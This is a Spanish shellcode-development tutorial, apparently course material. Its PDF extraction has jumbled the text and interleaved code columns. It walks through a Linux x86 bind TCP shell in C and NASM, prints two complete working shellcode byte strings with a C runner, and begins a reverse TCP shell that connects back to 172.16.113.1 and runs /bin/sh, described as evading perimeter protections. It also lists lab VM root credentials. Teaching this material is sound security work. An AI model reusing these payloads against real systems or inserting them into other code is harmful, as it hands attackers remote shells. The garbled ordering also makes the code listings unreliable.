Libro Shellcodes - Hacking

Writing, debugging, bypassing AVs & exploiting shellcodes
Shellcodes:
tips & tricks
Edicin especial
Pedro C. aka @NN2ed_s4ur0n
Requisitos
Requisitos previos
Reversing y Exploiting, para poder desarrollar sus propias

shellcodes con tcnicas de evasin propias, pudiendo realizarlo
tanto de forma presencial como online a travs de la plataforma
que ofrece Deloitte CyberSOC Academy.
Requisitos
previos
Desarrollo
Muchos
participantes
de losen
Cursos
1.
Desarrollo
genrico
C que imparto en formato presencial u online creen que desarrollar shellcodes es una labor
bastante compleja y con poca documentacin en castellano.
Por ello, esta gua recoge algunos ejercicios para el desarrollo

y depuracin de shellcodes pensando en introducir paso a paso al lector con mnimos conocimientos en su desarrollo. Incluso podramos indicar que con nulos conocimientos en ensamblador, no ser excesivamente complicado seguir su desarrollo.
Se facilita una mquina virtual para realizar los ejercicios (recomendable al menos 2 GB de memoria RAM) con credenciales
root/p4$$w0rd y todo el entorno preparado para comenzar a trabajar desde el primer momento:
Fichero manifest:
http://navajanegra.com/assets/media/avevaders.mf
F i c h e r o d e c o n fi g u r a c i n :
http://navajanegra.com/assets/media/avevaders.ovf
Disco Duro Virtual:
http://navajanegra.com/assets/media/avevaders-disk1.vmdk
Pedro C. aka s4ur0n

Agradecer a Deloitte CyberSOC Academy el apoyo necesario
para desarrollar esta gua de prcticas, haciendo especial hincapi en que es muy recomendable cursar la formacin sobre
@NN2ed_s4ur0n
Shellcode Bind
TCP
En este captulo,
escribiremos una shellcode
para GNU/Linux x86 que
quedar vinculada en un
puerto TCP de la mquina
destino, aceptar
conexiones remotas
entrantes y ejecutar una
shell de sistema cuando el
cliente conecte.
Shellcode BIND TCP

#include <netinet/in.h>
#define STDIN 0
#define STDOUT 1
#define STDERR 2
#define PORT 2015
Desarrollo
genrico en C
Desarrollo
int main(void){
int fd, newfd;
Para
afianzar los
conceptos
1.
Desarrollo
genrico
enque
C posteriormente desarrollaremos en lenguaje ensamblador, vamos a escribir un cdigo en C
que ejecutar una shellcode quedando sta vinculada a un
puerto TCP en cualquier direccin IP del equipo donde se ejecute y que quedar preparado para recibir conexiones remotas
entrantes. Una vez que un cliente conecte, ejecutar la shell
/bin/sh hasta que el cliente decida finalizar la conexin activa.
struct sockaddr_in server_addr;

char *argv[] = { "/bin/sh", NULL };
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr.s_addr = htonl(INADDR_ANY);
fd = socket(AF_INET, SOCK_STREAM, 0);
El cdigo prototipo en C sera como el siguiente y le denominaremos bindtcp.c:
bind(fd, (struct sockaddr *) &server_addr, 16);

listen(fd, 1);
#include <stdio.h>
newfd = accept(fd, NULL, NULL);
#include <sys/socket.h>
7
dup2(newfd, STDIN);
dup2(newfd, STDOUT);
dup2(newfd, STDERR);
$ man dup
execve(argv[0], &argv[0], NULL);

return 0;
}
Para comprobar el funcionamiento del cdigo, simplemente lo

compilamos de forma estndar con gcc:
El cdigo, simplemente realiza las siguientes funciones:
$ gcc -o tcpbind tcpbind.c
Crea un socket TCP
$ sudo ./tcpbind
Lo vincula a una direccin IP y un puerto

Espera hasta que recibe una conexin entrante
Podemos comprobar el correcto funcionamiento con el comando:
Acepta la conexin
Redirecciona STDIN, STDOUT y STDERR
Ejecuta /bin/sh
Cabe destacar la funcin dup2 para realizar las redirecciones

creando una copia del descriptor de fichero y que puede obtenerse ms informacin con el comando:
$ sudo netstat -atunp | grep 2015

tcp
0.0.0.0:*
0 0.0.0.0:2015
LISTEN
3580/sh
Por tanto, ya podremos conectar a la mquina de destino con

un programa cliente como por ejemplo Netcat disponible en
http://netcat.sourceforge.net de la forma:
8
$ nc IP_DESTINO 2015
id
uid=0(root) gid=0(root) groups=0(root)
whoami
root
exit
En la siguiente seccin, veremos los conceptos bsicos para

poder trabajar con sockets desde lenguaje ensamblador.
Shellcode BIND TCP
Observando en su salida:
__libc_start_main(0x804854b, 1, 0xbf944434, 0x8048640
<unfinished ...>
htons(2015, 0xc10000, 1, 0x804837d)
= 0xdf07
Conceptos
bsicos en ensamblador paDesarrollo
ra trabajo con sockets
1. Conceptos bsicos en ensamblador para trabajo
sockets
Lascon
llamadas
al sistema (system calls) se definen en el fichero
unistd_32.h o unistd_64.h dependiendo de la arquitectura para 32 64 bits, localizado generalmente en el directorio del sistema /usr/include/i386-linux-gnu/asm/ Estos ficheros, incluyen la definicin de la llamada y el identificador de la misma
asignado.
htonl(0, 0xc10000, 1, 0x804837d)

= 0
socket(2, 1, 0)
= 3
bind(3, 0xbf944368, 16, 0x804837d)
= 0
listen(3, 1, 16, 0x804837d)
= 0
accept(3, 0, 0, 0x804837d
Para comprobar las llamadas al sistema que realiza, lo haremos con el comando:
Para el anterior cdigo, podemos observar la libreras que emplea con el comando:
$ sudo ltrace ./tcpbind
$ sudo strace ./tcpbind

10
execve("./tcpbind", ["./tcpbind"], [/* 35 vars */]) =

0
brk(0)
= 0x9e15000
access("/etc/ld.so.nohwcap", F_OK)
(No such file or directory)
= -1 ENOENT
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7719000

access("/etc/ld.so.preload", R_OK)
= -1 ENOENT
mmap2(0xb770b000, 10876, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) =
0xb770b000
close(3)
= 0

set_thread_area({entry_number:-1,
base_addr:0xb7563940, limit:1048575, seg_32bit:1,
contents:0, read_exec_only:0, limit_in_pages:1,
seg_not_present:0, useable:1}) = 0 (entry_number:6)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
mprotect(0xb7708000, 8192, PROT_READ)
= 0
fstat64(3, {st_mode=S_IFREG|0644, st_size=43989,

...}) = 0
mprotect(0xb773d000, 4096, PROT_READ)
= 0
munmap(0xb770e000, 43989)
= 0
mmap2(NULL, 43989, PROT_READ, MAP_PRIVATE, 3, 0) =

0xb770e000
close(3)
= 0
= -1 ENOENT
open("/lib/i386-linux-gnu/i686/cmov/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3,
"\177ELF\1\1\1\3\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\300\
233\1\0004\0\0\0"..., 512) = 512
...}) = 0
mmap2(NULL, 1743484, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7564000
socket(PF_INET, SOCK_STREAM, IPPROTO_IP) = 3

bind(3, {sa_family=AF_INET, sin_port=htons(2015),
sin_addr=inet_addr("0.0.0.0")}, 16) = 0
listen(3, 1)
= 0
accept(3,
Podemos incluir el comando de la forma siguiente para poder

ver todas las llamadas que ha realizado:
$ strace -o systemcalls.txt -c ./bindtcp
mmap2(0xb7708000, 12288, PROT_READ|PROT_WRITE,

MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1a4000) =
0xb7708000
11
Ejecutaremos el binario y desde otro terminal, conectaremos,

pondremos exit o cualquier otro comando, y a continuacin, veremos las llamadas que ha realizado con:
$ cat systemcalls.txt
% time
seconds
usecs/call
calls
errors syscall
------ ----------- ----------- --------- --------- ---------------0.00
0.000000
read
0.00
0.000000
write
0.00
0.000000
open
0.00
0.000000
close
0.00
0.000000
execve
0.00
0.000000
getpid
0.00
0.000000
6 access
0.00
0.000000
brk
0.00
0.000000
1 ioctl
0.00
0.000000
dup2
0.00
0.000000
getppid
0.00
0.000000
munmap
0.00
0.000000
wait4
0.00
0.000000
sigreturn
0.00
0.000000
clone
0.00
0.000000
mprotect
0.00
0.000000
rt_sigaction
0.00
0.000000
getcwd
0.00
0.000000
12
0.00
0.000000
10
0.00
0.000000
fstat64
0.00
0.000000
geteuid32
0.00
0.000000
set_thread_area
0.00
0.000000
socket
0.00
0.000000
bind
0.00
0.000000
listen
0.00
0.000000
5 accept
mmap2
9 stat64
------ ----------- ----------- --------- --------- ---------------100.00
0.000000
90
21 total
Como en nuestro cdigo fuente en C, hemos empleado

SOCKET, DUP2 y EXECVE, ahora debemos de obtener las llamadas correctas al sistema. Para ello, consultaremos el fichero
/usr/include/i386-linux-gnu/asm/unistd_32.h y veremos sus
correspondientes identificadores que posteriormente emplearemos desde nuestra shellcode:
12
#define __NR_execve 11
#define __NR_dup2 63
#define SYS_SOCKET
#define __NR_socketcall 102
#define SYS_BIND 2
Como se esperaba, cualquier llamada del sistema para los

sockets en arquitectura x86-32, se realiza mediante la llamada
multiplexada socketcall por lo que no existen llamadas individuales del tipo socket, bind, listen, accept y tendremos que
realizarlas a travs de dicha llamada. Podemos comprobarlo
con el comando:
$ man 2 socketcall
El primer argumento que tendremos que pasarle, ser el identificador de la llamada que queremos emplear (como SOCKET,
BIND, LISTEN y ACCEPT) en nuestro caso. Podemos encontrarlo en el fichero de definicin /usr/include/linux/net.h y verlo con el comando:
/* sys_socket(2)
*/
/* sys_bind(2)
*/
#define SYS_CONNECT
/* sys_connect(2)
*/
#define SYS_LISTEN
/* sys_listen(2)
*/
#define SYS_ACCEPT
/* sys_accept(2)
*/
#define SYS_GETSOCKNAME
/* sys_getsockname(2)
*/
#define SYS_GETPEERNAME
/* sys_getpeername(2)
*/
#define SYS_SOCKETPAIR
/* sys_socketpair(2)
*/
#define SYS_SEND 9
/* sys_send(2)
*/
#define SYS_RECV 10
/* sys_recv(2)
*/
#define SYS_SENDTO
11
/* sys_sendto(2)
*/
#define SYS_RECVFROM
12
/* sys_recvfrom(2)
*/
#define SYS_SHUTDOWN
13
/* sys_shutdown(2)
*/
#define SYS_SETSOCKOPT
14
/* sys_setsockopt(2)
*/
#define SYS_GETSOCKOPT
15
/* sys_getsockopt(2)
*/
#define SYS_SENDMSG
16
/* sys_sendmsg(2)
*/
#define SYS_RECVMSG
17
/* sys_recvmsg(2)
*/
#define SYS_ACCEPT4
18
/* sys_accept4(2)
*/
#define SYS_RECVMMSG
19
/* sys_recvmmsg(2)
*/
#define SYS_SENDMMSG
20
/* sys_sendmmsg(2)
*/
$ cat /usr/include/linux/net.h
13
En la siguiente seccin, veremos cmo podemos escribir el cdigo necesario en ensamblador para poder realizar nuestra
shellcode.
14
Shellcode BIND TCP

xor eax, eax
; eax = 0
mov al, 102
; socketcall()
xor ebx, ebx
; ebx = 0
; Apilar parmetros del socket
Sockets
en ensamblador
Desarrollo
Comenzaremos
escribir elen
cdigo
del programa
en trabajo
ensambla1.
Conceptosabsicos
ensamblador
para
dor.con
Le denominaremos
bindtcp.asm y contendr:
sockets
global _start
section .text
_start:
Lo primero que necesitaremos, ser obtener el descriptor del

socket de la forma socket(AF_INET, SOCK_STREAM, 0); y
que en ensamblador, sera:
; en orden inverso
push ebx
; protocol
push 1
; SOCK_STREAM
push 2
; AF_INET
mov bl, 1
; socket()
xor ecx, ecx
; ecx = 0
mov ecx, esp
; Cargar direccin del

; del array con parmetros
int 0x80
; syscall socketcall()
Con ello, en el registro EAX tendremos el descriptor del socket

que hemos creado. Como ms adelante lo emplearemos, a continuacin lo vamos a guardar en el registro ESI de la forma:
15
mov esi, eax
; Guardar el socket
Ahora, debemos de realizar el bind bind(sockfd, (struct

sockaddr *)&serv_addr, sizeof(serv_addr)); del socket con
los parmetros que hemos calculado. Para ello, tendremos que
escribirlo en ensamblador como:
xor eax, eax
; eax = 0
mov al, 102
; socketcall()
xor ebx, ebx
; ebx = 0
mov ecx, esp
; Dir. array parmetros
int 0x80
A continuacin, tendremos que codificar la parte del LISTEN

listen(sockfd, 1) del socket:
xor eax, eax
; eax = 0
mov al, 102
; socketcall()
xor ebx, ebx
; ebx = 0
mov bl, 4
; listen()
; Apilar parmetros para bind en orden

; inverso
push ebx
; INADDR_ANY
; Apilar parmetros del listen
push word 0xDF07 ; port (Little endian)
push 1
; backlog
push word 2
; AF_INET
push esi
; sockfd
mov ecx, esp
; Puntero a la estructura
mov bl, 2
; bind()
mov ecx, esp
; Cargar dir. del array
int 0x80
push 16
;sizeof(struct sockaddr_in)
push ecx
; &serv_addr
push esi
; sockfd
16
Nos quedar la parte para poder aceptar las conexiones entrantes con accept(sockfd, (struct sockaddr *)&cli_addr,
&sin_size); y que escribiremos en ensamblador como:
xor eax, eax
; eax = 0
mov al, 102
; socketcall()
xor ebx, ebx
; ebx = 0
; Apilar los parmetros accept

push ebx
; zero addrlen
push ebx
; null sockaddr
push esi
; sockfd
mov bl, 5
; accept()
Por ltimo, tendremos en el registro EAX el descriptor preparado del socket que asignaremos tambin al registro ESI de la forma:
mov esi, eax
A continuacin, tenemos que realizar los dup2 con los parmetros correctos. Para ello, el valor deseado lo pondremos en el
registro ECX antes de realizar la llamada al sistema. El primero
ser 0 (STDIN) y posteriormente emplearemos INC para incrementar su valor en 1.
; dup2(connfd, 0);
xor eax, eax
; eax = 0
mov al, 63
; dup2()
mov ebx, esi

xor ecx, ecx
mov ecx, esp
; Cargar dir. del array
int 0x80
; guardar descriptor en ESI
; ecx = 0
int 0x80
Para la salida estndar tendremos:

17
; dup2(connfd, 1);
xor eax, eax
; eax = 0
mov al, 63
; dup2()
mov ebx, esi

inc ecx
Por ltimo, simplemente tendremos que ejecutar mediante

execve la shell que queremos con todos los parmetros que
necesita. Para ello, codificaremos execve(/bin/sh, [/bin/
sh, NULL], NULL); en ensamblador de la forma:
!
; execve
; ecx = ecx + 1 (1)
int 0x80
xor eax, eax
; eax = 0
push eax
; null byte (fin cadena)
push 0x68732f2f ; //sh

push 0x6e69622f ; /bin
mov ebx, esp
; Cargar dir. de /bin/sh
push eax
; Finalizar cadena (nulo)
; dup2(connfd, 2);
push ebx
; Apilar dir. de /bin/sh
xor eax, eax
; eax = 0
mov ecx, esp
mov al, 63
; dup2()
Y para el error estndar, lo escribiremos como:
mov ebx, esi

inc ecx
int 0x80
push eax
; Finalizar cadena (nulo)
mov edx, esp
; Array vaco envp
; ecx = ecx + 1 (2)

mov al, 11
int 0x80
; syscall execve()
Por tanto, ya podramos compilar el cdigo con el comando:

18
i386pep
$ nasm -f elf32 -o bindtcp.o bindtcp.asm
Por ltimo, tendremos que enlazarlo mediante:
$ ld -z execstack -o bindtcp_asm bindtcp.o
i386pe
Por tanto, simplemente tendremos que especificar la opcin correcta elf_i386 para poder enlazarlo correctamente:
$ ld -z execstack -m elf_i386 -o bindtcp_asm

bindtcp.o
Si el enlazado se realiza en una arquitectura de 64 bits, como

el cdigo es para 32, ser necesario indicarle al enlazador el
modo de emulacin. Podemos verlos con:
Por ltimo, slo tendremos que ejecutarlo para comprobar el resultado:
$ ld -V
$ sudo ./bindtcp_asm
GNU ld (GNU Binutils for Debian) 2.25

Emulaciones admitidas:
elf_i386
En la siguiente seccin, obtendremos una shellcode funcional

en C que podremos compilar y ejecutar mediante gcc.
i386linux
elf32_x86_64
elf_x86_64
elf_l1om
elf_k1om
19
Shellcode BIND TCP
Conversin
de OpCodes
Desarrollo
Desde
nuestro terminal,
observar elpara
cdigo
en en1.
Conceptos
bsicospodremos
en ensamblador
trabajo
samblador
mediante la utilidad objdump con la siguiente sintacon sockets
xis (mostrar slo la seccin de cdigo):
$ objdump -d bindtcp_asm -M intel
En su salida, observaremos todo el cdigo desensamblado y

podremos eliminar Null Bytes en el mismo. En su salida, observamos:
08048080 <_start>:
8048086: 53
push
ebx
8048087: 6a 01
push
0x1
8048089: 6a 02
push
0x2
804808b: b3 01
mov
bl,0x1
804808d: 31 c9
xor
ecx,ecx
804808f: 89 e1
mov
ecx,esp
8048091: cd 80
int
0x80
8048093: 89 c6
mov
esi,eax
8048095: 31 c0
xor
eax,eax
8048097: b0 66
mov
al,0x66
8048099: 31 db
xor
ebx,ebx
804809b: 53
push
ebx
804809c: 66 68 07 df
pushw
0xdf07
80480a0: 66 6a 02
pushw
0x2
80480a3: 89 e1
mov
ecx,esp
80480a5: b3 02
mov
bl,0x2
80480a7: 6a 10
push
0x10
80480a9: 51
push
ecx
80480aa: 56
push
esi
80480ab: 89 e1
mov
ecx,esp
80480ad: cd 80
int
0x80
80480af: 31 c0
xor
eax,eax
80480b1: b0 66
mov
al,0x66
80480b3: 31 db
xor
ebx,ebx
80480b5: b3 04
mov
bl,0x4
80480b7: 6a 01
push
0x1
80480b9: 56
push
esi
8048080: 31 c0
xor
eax,eax
80480ba: 89 e1
mov
ecx,esp
8048082: b0 66
mov
al,0x66
80480bc: cd 80
int
0x80
8048084: 31 db
xor
ebx,ebx
80480be: 31 c0
xor
eax,eax
20
80480c0: b0 66
mov
al,0x66
80480fc: 53
push
ebx
80480c2: 31 db
xor
ebx,ebx
80480fd: 89 e1
mov
ecx,esp
80480c4: 53
push
ebx
80480ff: 50
push
eax
80480c5: 53
push
ebx
8048100: 89 e2
mov
edx,esp
80480c6: 56
push
esi
8048102: b0 0b
mov
al,0xb
80480c7: b3 05
mov
bl,0x5
8048104: cd 80
int
0x80
80480c9: 89 e1
mov
ecx,esp
80480cb: cd 80
int
0x80
80480cd: 89 c6
mov
esi,eax
80480cf: 31 c0
xor
eax,eax
80480d1: b0 3f
mov
al,0x3f
80480d3: 89 f3
mov
ebx,esi
80480d5: 31 c9
xor
ecx,ecx
80480d7: cd 80
int
0x80
80480d9: 31 c0
xor
eax,eax
80480db: b0 3f
mov
al,0x3f
80480dd: 89 f3
mov
ebx,esi
80480df: 41
inc
ecx
80480e0: cd 80
int
0x80
80480e2: 31 c0
xor
eax,eax
80480e4: b0 3f
mov
al,0x3f
80480e6: 89 f3
mov
ebx,esi
80480e8: 31 c9
xor
ecx,ecx
80480ea: cd 80
int
0x80
80480ec: 31 c0
xor
eax,eax
80480ee: 50
push
eax
80480ef: 68 2f 2f 73 68
push
0x68732f2f
80480f4: 68 2f 62 69 6e
push
0x6e69622f
80480f9: 89 e3
mov
ebx,esp
80480fb: 50
push
eax
Como no observamos ningn cdigo de operacin nulo, podremos entonces generar nuestra shellcode a partir de los OpCodes de salida de objdump.
Emplearemos el siguiente comando para obtenerlos:
$ objdump -d ./bindtcp_asm | grep

'[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut
-f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//
g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/
'|sed 's/$/"/g'
Por lo que la salida ser:
21
"\x31\xc0\xb0\x66\x31\xdb\x53\x6a\x01\x6a\x02\
xb3\x01\x31\xc9\x89\xe1\xcd\x80\x89\xc6\x31\xc
0\xb0\x66\x31\xdb\x53\x66\x68\x07\xdf\x66\x6a\
x02\x89\xe1\xb3\x02\x6a\x10\x51\x56\x89\xe1\xc
d\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\
x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x5
3\x53\x56\xb3\x05\x89\xe1\xcd\x80\x89\xc6\x31\
xc0\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\xb
0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\xb0\x3f\x89\
xf3\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x7
3\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\
xe1\x50\x89\xe2\xb0\x0b\xcd\x80"
Incluso si es necesario volcar todo el contenido del fichero a este formato, podramos realizarlo con hexdump de la forma (recordar que las cabeceras tambin sern convertidas y no son
necesarias para el exploit funcional):
$ hexdump -ve '"\\\x" 1/1 "%02x"' bindtcp_asm
#include <string.h>
unsigned char code[] =

"\x31\xc0\xb0\x66\x31\xdb\x53\x6a\x01\x6a\x02\
xb3\x01\x31\xc9\x89\xe1\xcd\x80\x89\xc6\x31\xc
0\xb0\x66\x31\xdb\x53\x66\x68\x07\xdf\x66\x6a\
x02\x89\xe1\xb3\x02\x6a\x10\x51\x56\x89\xe1\xc
d\x80\x31\xc0\xb0\x66\x31\xdb\xb3\x04\x6a\x01\
x56\x89\xe1\xcd\x80\x31\xc0\xb0\x66\x31\xdb\x5
3\x53\x56\xb3\x05\x89\xe1\xcd\x80\x89\xc6\x31\
xc0\xb0\x3f\x89\xf3\x31\xc9\xcd\x80\x31\xc0\xb
0\x3f\x89\xf3\x41\xcd\x80\x31\xc0\xb0\x3f\x89\
xf3\x31\xc9\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x7
3\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\
xe1\x50\x89\xe2\xb0\x0b\xcd\x80";
int main(void) {
printf("Shellcode
strlen(code));
Length:
%d\n",
int (*ret)() = (int(*)())code;

ret();
A continuacin, bastar con un sencillo cdigo en C para ejecutar la shellcode que hemos obtenido. Podemos realizarlo escribiendo el cdigo que denominaremos shellcode.c conforme a:
Para compilar, necesitaremos que la pila sea ejecutable. Podemos indicarlo a gcc mediante:
#include <stdio.h>
22
$ gcc -z execstack -o shellcode shellcode.c
Y por ltimo, la ejecutaremos con:
$ sudo ./shellcode
En la siguiente seccin, optimizaremos la shellcode para que

ocupe menos espacio ya que en este caso, son 134 bytes su
longitud y no siempre, tendremos tanto espacio disponible para
nuestras shellcodes.
23
Shellcode BIND TCP
negrita los registros que obligatoriamente deben ser establecidos a cero):

! xor eax, eax
mov al, 102
xor ebx, ebx
Optimizacin
de la Shellcode
Desarrollo
Aunque
134 bytes
no sonen
muchos,
trataremos
de trabajo
optimizar
1.
Conceptos
bsicos
ensamblador
para
nuestra
con shellcode
sockets desde el propio lenguaje ensamblador, procediendo a aplicar diferentes tcnicas que nos permitirn generar
una shellcode menor.
Una de ellas, consiste en no realizar una operacin XOR con

los registros para asignarles un valor cero, sino emplear un
equivalente como XCHG. Tambin podremos realizar PUSH
con algunos registros directamente.
Por ejemplo, nuestro antiguo cdigo comenzaba con xor eax,

eax. Intentaremos establecer la mayora de los registros a cero
con el menor nmero de instrucciones posible (se indican en
; eax = 0
; socketcall()
; ebx = 0
; Apilar parmetros del socket

; en orden inverso
push ebx
; protocol
push 1
; SOCK_STREAM
push 2
; AF_INET
mov bl, 1
; socket()
xor ecx, ecx
; ecx = 0
Como hemos comprobado, tanto EAX, EBX y ECX antes de

realizar al syscall, deben de estar a cero. Para ello, podemos
emplear el juego simplificado de instrucciones XOR y MUL que
permitan poner a cero la mayora de los registros.
Veamos algunos cambios que podemos hacer comentados en

el cdigo fuente y que denominaremos bindtcp2.asm:
24
global _start
Pondremos en ESI el nuevo socket creado al igual que hacamos anteriormente (devuelto en EAX):
section .text
mov esi, eax
_start:
xor ebx, ebx
; ebx = 0
mul ebx
; eax, edx = 0
En slo 2 instrucciones (XOR y MUL) hemos conseguido poner

EAX, EBX y EDX a cero. Como ECX lo emplearemos posteriormente para cargar la direccin del array de parmetros que pasaremos a la syscall, habremos optimizado nuestro cdigo. Por
tanto, el resto de cdigo hasta la misma ser:
mov al, 102
; socketcall()
mov bl, 1
; socket()
push edx
; protocol
push ebx
; SOCK_STREAM
push 2
; AF_INET
mov ecx, esp
; Dir. del array de parm.
int 0x80
Para realizar el bind del socket, podemos ver qu podemos optimizar y escribir:
mov al, 102
; socketcall()
inc ebx
; bind() - 2
push edx
; INADDR_ANY
push word 0xDF07 ; port

push word bx
; AF_INET
mov ecx, esp
; Puntero a la estructura
push 16
; sizeof(struct sockaddr_in)
push ecx
; &serv_addr
push esi
; sockfd
mov ecx, esp
int 0x80
Observamos que se ha empleado INC EBX y se han apilado

los valores con WORD cuando ha sido posible.
25
Para poder hacer el LISTEN, podemos apilar directamente los

valores deseados de la forma:
mov al, 102
; socketcall()
mov bl, 4
; listen()
push edx
; backlog
push esi
; sockfd
mov ecx, esp
int 0x80
A continuacin, para el ACCEPT procedemos de la misma forma:
mov al, 102
; socketcall()
mov bl, 5
; accept()
push edx
; Addrlen = 0
push edx
; Sockaddr = null
push esi
; sockfd
mov ecx, esp
int 0x80
Como en EAX recibimos el descriptor del socket podemos realizar un XCHG de la forma:
xchg ebx, eax
Para los dup2 ya que tenemos que realizar la misma llamada al

sistema con todos ellos y tan slo cambia el parmetro para establecer STDIN, STDOUT y STDERR, podemos hacer un bucle
mediante el registro ECX y estableciendo el contador en un registro ms pequeo de 8 bits como CL (CL + CH = CX de 16
bits, ECX de 32 bits y RCX de 64 bits):
;
; Bucle DUP2 (0, 1, 2)
;
xor ecx, ecx
; ecx = 0
mov cl, 2
; Inicializar contador
loop:
; dup2(connfd, 0);
mov al, 63
; dup2()
int 0x80
26
dec ecx
$ nasm -f elf32 -o bindtcp2.o bindtcp2.asm
jns loop
$ ld -z execstack -o bindtcp2 bindtcp2.o

$ sudo ./bindtcp2
Por ltimo, para ejecutar execve, podremos apilar directamente

aquel cdigo como:
Si seguimos los pasos de la anterior seccin, finalmente obtendremos un cdigo optimizado de slo 96 bytes que podremos
denominar shellcode2.c:
xchg eax, edx

push eax
; Null bytes (eof string)
push 0x68732f2f ; //sh

push 0x6e69622f ; /bin
#include <stdio.h>
mov ebx, esp
; Dir de /bin/sh
#include <string.h>
push eax
; null terminator
push ebx
; Dir de
mov ecx, esp
; Dir del array
push eax
; push null terminator
mov edx, esp
; empty envp array
mov al, 11
; execve()
int 0x80
; call execve()
/bin/sh
Con el cdigo optimizado, probamos a compilar desde NASM y

proceder a su enlazado:

"\x31\xdb\xf7\xe3\xb0\x66\xb3\x01\x52\x53\x6a\
x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\x43\x52\x6
6\x68\x07\xdf\x66\x53\x89\xe1\x6a\x10\x51\x56\
x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe
1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\
xcd\x80\x93\x31\xc9\xb1\x02\xb0\x3f\xcd\x80\x4
9\x79\xf9\x92\x50\x68\x2f\x2f\x73\x68\x68\x2f\
x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x50\x89\xe
2\xb0\x0b\xcd\x80";
int main(void) {
27
printf("Shellcode
strlen(code));
Length:
%d\n",

ret();
}
$ gcc -z execstack -o shellcode2 shellcode2.c
$ sudo ./shellcode2
28
Reverse TCP Shell
En este captulo,
escribiremos una shellcode
para GNU/Linux x86 que
abrir una conexin
inversa a un puerto TCP de
la mquina destino que
estar preparada para
aceptar la conexin,
ejecutando una shell de
sistema al conectar.
Reverse TCP Shell

#include <netinet/in.h>
int main(void) {
int sockfd;
struct sockaddr_in serv_addr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
Desarrollo
genrico en C
Desarrollo
serv_addr.sin_family = AF_INET;
En esta
ocasin,genrico
vamos a escribir
1.
Desarrollo
en C una shellcode que nos permitir iniciar una conexin inversa hacia una mquina de destino
que se encontrar preparada por el atacante. Con dicha forma,
la shellcode no tendr que quedar a la espera como en el anterior captulo y ser ella la que iniciar la conexin por lo que podr evadir las protecciones de permetro bsicas.
serv_addr.sin_addr.s_addr =
inet_addr("172.16.113.1");
serv_addr.sin_port = htons(2015);
connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr));
dup2(sockfd, 0);
El cdigo prototipo en C sera como el siguiente y le denominaremos reverse.c:
dup2(sockfd, 1);
dup2(sockfd, 2);
#include <stdio.h>
char *argv[] = {"/bin/sh", NULL};
#include <sys/types.h>
execve(argv[0], argv, NULL);
#include <sys/socket.h>
}
30
El cdigo, simplemente realiza las siguientes funciones:

Crea un socket TCP
Se conecta a una IP determinada y a un puerto
Por lo tanto, tendremos que emplear un gestor para la conexin y volveremos a emplear netcat para que espere a la conexin que iniciar la mquina que ejecutar la shellcode. Para
ello, escribiremos en consola:
Ejecuta una shell (/bin/sh)

$ sudo nc -vv -l 0.0.0.0 2015
De la misma forma que la anterior, empleamos la funcin dup2
de C para duplicar el descriptor de fichero y redirigir STDIN,
STDOUT y STDERR.
Iniciaremos entonces la conexin otra vez de nuevo:
$ sudo ./reverse
compilamos de forma estndar con gcc:
$ gcc -o reverse reverse.c
En la mquina donde ejecutamos la shellcode, podemos comprobar el correcto funcionamiento de nuestra shellcode mediante el comando:
$ sudo ./reverse
$ sudo netstat -atunp | grep 2015
En caso de lanzarlo sin un handler que maneje la conexin en
el otro extremo de la comunicacin, no fallar pero no realizar
ningn tipo de accin.
tcp
0
0 172.16.113.130:37554
172.16.113.1:2015
ESTABLISHED 5016/sh
31
Desde la mquina donde tenemos netcat a la escucha, podremos continuar ejecutando comandos del sistema:
id
whoami
exit
En la siguiente seccin, veremos los conceptos bsicos para

poder trabajar con sockets y gestionar la conexin inversa desde lenguaje ensamblador.
32
Reverse TCP Shell
__libc_start_main(0x80484eb, 1, 0xbfeda9f4, 0x80485b0
<unfinished ...>
socket(2, 1, 0)
= 3
Conceptos
bsicos en ensamblador paDesarrollo
ra trabajo con sockets
1. Conceptos bsicos en ensamblador para trabajo
sockets
Lascon
llamadas
al sistema (system calls) se definen en el fichero
unistd_32.h o unistd_64.h dependiendo de la arquitectura para 32 64 bits, localizado generalmente en el directorio del sistema /usr/include/i386-linux-gnu/asm/
Incluyen la definicin de la llamada y el identificador de la misma asignado. Para el anterior cdigo, podemos observar la libreras que emplea con el comando:
$ sudo ltrace ./reverse
inet_addr("172.16.113.1")
= 0x17110ac
htons(2015, 1, 0, 0x8048341)
= 0xdf07
connect(3, 0xbfeda92c, 16, 0x8048341)
= 0
dup2(3, 0)
= 0
dup2(3, 1)
= 1
dup2(3, 2)
= 2
execve(0x804864d, 0xbfeda924, 0, 0x8048341 <no return
...>
--- Called exec() --__libc_start_main(0xb77012c0, 1, 0xbfb46474,
0xb7713320 <unfinished ...>
__errno_location()
= 0xb75238fc
_setjmp(0xbfb46310, 0xb76f2876, 0xb753e0b5,
0xb7701302)
= 0
33
getpid()
= 5036
mempcpy(0xb83cf050, 0xb771376e, 3, 0xb771ce0c)

= 0xb83cf053
sigfillset(~<31>)
= 0
